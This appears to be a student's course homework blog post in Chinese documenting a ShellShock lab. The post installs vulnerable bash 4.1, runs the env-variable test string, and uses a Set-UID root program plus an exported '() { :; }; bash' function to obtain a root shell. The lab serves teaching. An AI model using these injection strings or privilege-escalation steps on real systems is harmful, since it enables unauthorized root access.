• 2020-2021-1 20199311《Linux内核原理与分析》第十二周作业


    2020-2021-1 20199311《Linux内核原理与分析》第十二周作业

    作业信息

    这个作业属于哪个课程
    <2020-2021-1Linux内核原理与分析)>
    这个作业要求在哪里
    <2020-2021-1Linux内核原理与分析第十二周作业>
    这个作业的目标
    ShellShock攻击实验
    作业正文
    2020-2021-1 20199311《Linux内核原理与分析》第十二周作业

    作业正文

    ShellShock攻击实验

    实验过程

    1.预备知识

    什么是ShellShock?

    Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统。——摘自维基百科

    2.实验准备

    2.1下载、安装4.1版本bash

    以root权限安装4.1版bash(4.2版本以上的漏洞已经被堵上了) bash4.1 原来的下载地址是 http://ftp/gnu.org/gnu/bash/bash-4.1.tar.gz ,为了加快速度,我们这里使用下面的下载地址 http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

    #下载
    sudo su
    wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
    #安装
    tar xf bash-4.1.tar.gz
    cd bash-4.1
    ./configure #这一步过程比较长,请等待一会
    make && make install
    



    2.2链接bash

    rm /bin/bash
    ln -s /usr/local/bin/bash /bin/bash
    

    2.3检测shellshock漏洞

    exit
    env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
    

    输出vulnerable的话,说明bash有漏洞。

    3.实验过程

    大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。

    3.1将/bin/sh指向/bin/bash

    sudo ln -sf /bin/bash /bin/sh
    

    3.2新建shock.c文件调用ls命令,代码如下:

    #include <stdio.h>
    void main()
    {
    	setuid(geteuid()); // make real uid = effective uid.
    	system("/bin/ls -l");
    }
    

    3.3编译代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s

    sudo su
    gcc -o shock shock.c
    chmod u+s shock
    

    3.4退出管理员权限,执行shock,进行夺取权限的攻击

    exit
    export foo='() { :; }; bash'
    ./shock
    

    可以发现,这时的权限变成了管理员

    去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败,这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了

  • 相关阅读:
    Java的代码风格
    哪些你容易忽略的C语言基础知识
    Java基础学习笔记第二章
    Java代码性能优化总结
    Java并发编程(2):线程中断(含代码)
    C语言代码训练(一)
    数控G代码编程详解大全
    PLC编程算法
    博客转移到新地址
    一些吐槽
  • 原文地址:https://www.cnblogs.com/dkkk7/p/14198394.html
Copyright © 2020-2023  润新知